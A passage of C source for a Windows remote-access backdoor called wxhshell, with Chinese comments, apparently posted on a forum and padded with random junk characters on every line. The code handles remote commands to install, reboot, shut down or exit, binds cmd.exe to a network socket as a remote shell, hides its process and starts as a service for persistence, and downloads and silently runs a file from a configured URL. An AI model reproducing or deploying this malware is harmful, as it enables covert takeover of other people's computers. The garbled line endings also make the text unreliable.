      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \'6%Ld5km  
    break; 9>6?tb"f*H  
  } ?$6(@>`f&t  
  // 安装 ] 1s6=  
  case 'i': { Xd@ d$  
    if(Install()) v[4-?7-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G.~Ffk  
    else SQ057V>'=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5 )z'=  
    break; ncpNesB  
    } wz{&0-md*'  
  // 卸载 S@ @#L  
  case 'r': { U E-1p  
    if(Uninstall()) Y;{(?0 s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ce:w^P+  
    else $#-O^0D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @6Z6@Pq(xQ  
    break; b"y4-KV  
    } .wPI%5D  
  // 显示 wxhshell 所在路径 bl-D{)X  
  case 'p': { GE*%I1?]  
    char svExeFile[MAX_PATH]; v(]dIH  
    strcpy(svExeFile,"\n\r"); y`Zn{mQ@[  
      strcat(svExeFile,ExeFile); kA/yL]m^S  
        send(wsh,svExeFile,strlen(svExeFile),0); :{ Lihe~\  
    break; ^g=j`f[T  
    } 6eQa @[.Q  
  // 重启 >W6?!ue_  
  case 'b': { r8>Qs RnU%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ub]s>aqy   
    if(Boot(REBOOT)) v$Xoxp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p^s:s-"f\  
    else { ZKJhmk  
    closesocket(wsh); u =lsH  
    ExitThread(0); YJ}9VY<}1K  
    } t8ORfO+  
    break; Prrz>  
    } _ZE&W  
  // 关机 ;!B,P-Z"g  
  case 'd': { bb}Fu/S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _2WW0  
    if(Boot(SHUTDOWN)) A$n:   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <m> m"|G  
    else { 5nXmaj  
    closesocket(wsh); t4UL|fI  
    ExitThread(0); V6&6I  
    } J; N\q  
    break; ~!P&LZ  
    } F{E`MK~f_  
  // 获取shell j9R+;u/!  
  case 's': { 24k;.o  
    CmdShell(wsh); Bo;{ QoB  
    closesocket(wsh); E-deXY  
    ExitThread(0); ,+v>(h>q  
    break; -d[Gy- J  
  } 825 QS`  
  // 退出 P}w0=  
  case 'x': { 2>g!+p Ox  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MaZVGrcC  
    CloseIt(wsh); hVNT  
    break; ,MUgww!.  
    } !`dMTW  
  // 离开 I7+yu>  
  case 'q': { Nv=&gOy=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7w}]9wCN?  
    closesocket(wsh); W^i[7 r  
    WSACleanup(); Nk<H=kw+  
    exit(1); -PaR&0Tt  
    break; ;pqS|ayl  
        } v?l*jr1-2  
  } GQYB2{e>  
  } 1-.(pA'  
4veXg/l  
  // 提示信息 L0*f(H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ++BQ==@  
} 2p~G][  
  } @2sr/gX^  
71Y3.1+  
  return; _ Gkb[H&RZ  
} U.1&'U*  
%>1C ($^  
// shell模块句柄 4JL]?75  
int CmdShell(SOCKET sock) UYGO|lkEU  
{ y24/lc  
STARTUPINFO si; Ej<`HbJ 'Q  
ZeroMemory(&si,sizeof(si)); .SDE6nvbW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MC1&X'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @DKph!c r  
PROCESS_INFORMATION ProcessInfo; x??H%'rP  
char cmdline[]="cmd"; ~BgNM O;|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \^dYmU  
  return 0; 0U! _o2]  
} TVK*l*  
> 0c g  
// 自身启动模式 QG5 c>Q  
int StartFromService(void) ,7;euV5X  
{ Wf =hFc1_@  
typedef struct }^`5$HEi  
{ EJ(z]M`f  
  DWORD ExitStatus; NW` Mc&  
  DWORD PebBaseAddress; REPI >-|  
  DWORD AffinityMask; =<Ss&p>  
  DWORD BasePriority; Y ^5RM  
  ULONG UniqueProcessId; 8 -9<r  
  ULONG InheritedFromUniqueProcessId; B3p79 j  
}   PROCESS_BASIC_INFORMATION; GmZ2a-M  
JykNEMB#  
PROCNTQSIP NtQueryInformationProcess; < Q6  
b<BkI""b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GD4+f|1.*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LAuaowE\v  
%Lom#:L'  
  HANDLE             hProcess; (R!`Z%  
  PROCESS_BASIC_INFORMATION pbi; ,#hNHFa'JH  
WyUa3$[gO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &<# ,J4  
  if(NULL == hInst ) return 0; Hi&bNM>?O  
54Vb[;`Kkb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n66b(6"mO2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UW&K\P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Mr@{3do$  
c LfPSA  
  if (!NtQueryInformationProcess) return 0; E0eZal],  
Dk}txw}#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5KW n>n  
  if(!hProcess) return 0; 6>[J^k%~w)  
CIQ9dx7>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G5UNW<P2C  
v %S$5  
  CloseHandle(hProcess); -pQ0,/}K  
uCj)7>}v{M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2,p= %  
if(hProcess==NULL) return 0; IeB^BD+j  
V5+|H1=  
HMODULE hMod; 9L>ep&u)^  
char procName[255]; uExYgI`<%&  
unsigned long cbNeeded; [pz1f!Wn  
v"dl6%D"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B \.0 5<  
US&:UzI.  
  CloseHandle(hProcess); B~%SB/eu  
9w-;d=(Q  
if(strstr(procName,"services")) return 1; // 以服务启动 MX7$f (Hy  
VVc-Dx  
  return 0; // 注册表启动 ,PX7}//X^  
} uC?/p1  
"MDy0Tj8EN  
// 主模块 JR|P]}  
int StartWxhshell(LPSTR lpCmdLine) LGWQBEXw  
{ L7N>p4h]Xj  
  SOCKET wsl; Bb7Vf7>  
BOOL val=TRUE; gh% Q9Ni-  
  int port=0; T8Ye+eP}  
  struct sockaddr_in door; @Z89cTO  
o3.b='HAm  
  if(wscfg.ws_autoins) Install(); 87hU#nVYh  
Xliw(B'\a4  
port=atoi(lpCmdLine); 2`V(w[zTr  
1Ch0O__2L  
if(port<=0) port=wscfg.ws_port; 6t4{aa!L|9  
aK8X,1g%)  
  WSADATA data; I}\`l+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cLIeo{H  
_ Uv3g lK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l(~NpT{=V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z[0t%]7l  
  door.sin_family = AF_INET; ($[@'?Z1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _:G>bU/^  
  door.sin_port = htons(port); Wbi12{C  
7qg. :h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6g"qwWZp  
closesocket(wsl); <4*)J9V^s=  
return 1; dbfI!4  
} Cp#}x1{  
PBAQ KQ  
  if(listen(wsl,2) == INVALID_SOCKET) { E\VKlu4  
closesocket(wsl); .WlZT-  
return 1; |qb-iXW=  
} &IFXU2t}  
  Wxhshell(wsl); ":L d}~>  
  WSACleanup(); Ar`U / %Cu  
BsYJIKfW  
return 0; Rc~63![O.  
,772$7x  
} %D[6;PT  
|w.5*]?H  
// 以NT服务方式启动 +\Je B/F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j`-9.  
{ 67wq8|  
DWORD   status = 0; kQ.3J.Q5  
  DWORD   specificError = 0xfffffff; !D 9V9p  
+P=I4-?eX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MQVEO5   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W 6CNMI]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !H`uN  
  serviceStatus.dwWin32ExitCode     = 0; cB7'>L  
  serviceStatus.dwServiceSpecificExitCode = 0; UeaHH]U  
  serviceStatus.dwCheckPoint       = 0; _%<q ZT  
  serviceStatus.dwWaitHint       = 0; @&2# kO~=  
(?z"_\^n/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OZno 3Hn  
  if (hServiceStatusHandle==0) return; 6{2 9cX.  
N)X51;+  
status = GetLastError(); ,>3|\4/Q  
  if (status!=NO_ERROR) =Ka :i>  
{ Y^'mBM#j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m"~),QwF9  
    serviceStatus.dwCheckPoint       = 0; ptTp63+  
    serviceStatus.dwWaitHint       = 0; BtKbX)R$J  
    serviceStatus.dwWin32ExitCode     = status; Ml+O - 3T  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ce_l\J8G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3$ BYfI3H  
    return; h\*I*I8C  
  } }z_7?dn/  
KOD%>+vG$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Wq*W+7=.  
  serviceStatus.dwCheckPoint       = 0; #mc6;TRZO  
  serviceStatus.dwWaitHint       = 0; qZX\riR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +qmV|$rmM  
} j.UO>1{7  
./}W3  
// 处理NT服务事件,比如:启动、停止 mA6Nmq%{ F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) incUa;  
{ ASaNac-3  
switch(fdwControl) iIU>:)i  
{ "ax"k0  
case SERVICE_CONTROL_STOP: <*DP G\6Ma  
  serviceStatus.dwWin32ExitCode = 0; !{ /AJb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q5tx\GE  
  serviceStatus.dwCheckPoint   = 0; e`Tssa+  
  serviceStatus.dwWaitHint     = 0; O+o_{t\R  
  { =kn-F T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \>  
  } P6;Cohfh  
  return; W.  p'T}2  
case SERVICE_CONTROL_PAUSE: axdRV1+s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yUu+68Z6  
  break; xu* dPG)v  
case SERVICE_CONTROL_CONTINUE: @'FOM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4z!(!J )  
  break; G0v<`/|>}  
case SERVICE_CONTROL_INTERROGATE: aT PmW]w6  
  break; *gN)a%9  
}; S$i3/t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d# q8-  
} ZVz`-h B  
ph=U<D4  
// 标准应用程序主函数 Dhp|%_>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XnV$}T:?X  
{ $rz'Ybs  
Be2yS]U  
// 获取操作系统版本 7|q _JdKoU  
OsIsNt=GetOsVer(); I07_o"3>qr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JbEQ35r  
IT\ x0b cv  
  // 从命令行安装 Y(P <9 m:  
  if(strpbrk(lpCmdLine,"iI")) Install(); </Ry4x^A  
$nW^Gqwj]1  
  // 下载执行文件 XGMO~8 3  
if(wscfg.ws_downexe) { c9R|0Yn^J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )>rHM6-W  
  WinExec(wscfg.ws_filenam,SW_HIDE); {Qj7?}xW  
} =E' .T0v  
hS +R /7  
if(!OsIsNt) { {Aq:Kh`&  
// 如果时win9x,隐藏进程并且设置为注册表启动 dE|luN~  
HideProc(); ,5thD  
StartWxhshell(lpCmdLine); -XARew  
} wT-@v,$  
else z+%74O"c  
  if(StartFromService()) 2Jc9}|,  
  // 以服务方式启动 dX5|A_Ex  
  StartServiceCtrlDispatcher(DispatchTable); Rz!!;<ye8  
else z+6%Ya&ls  
  // 普通方式启动 vP{;'R  
  StartWxhshell(lpCmdLine); P0XVR_TJf  
bdkxCt  
return 0; 1PjqXgN5p  
}
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只看该作者 1 发表于: 2006-10-10
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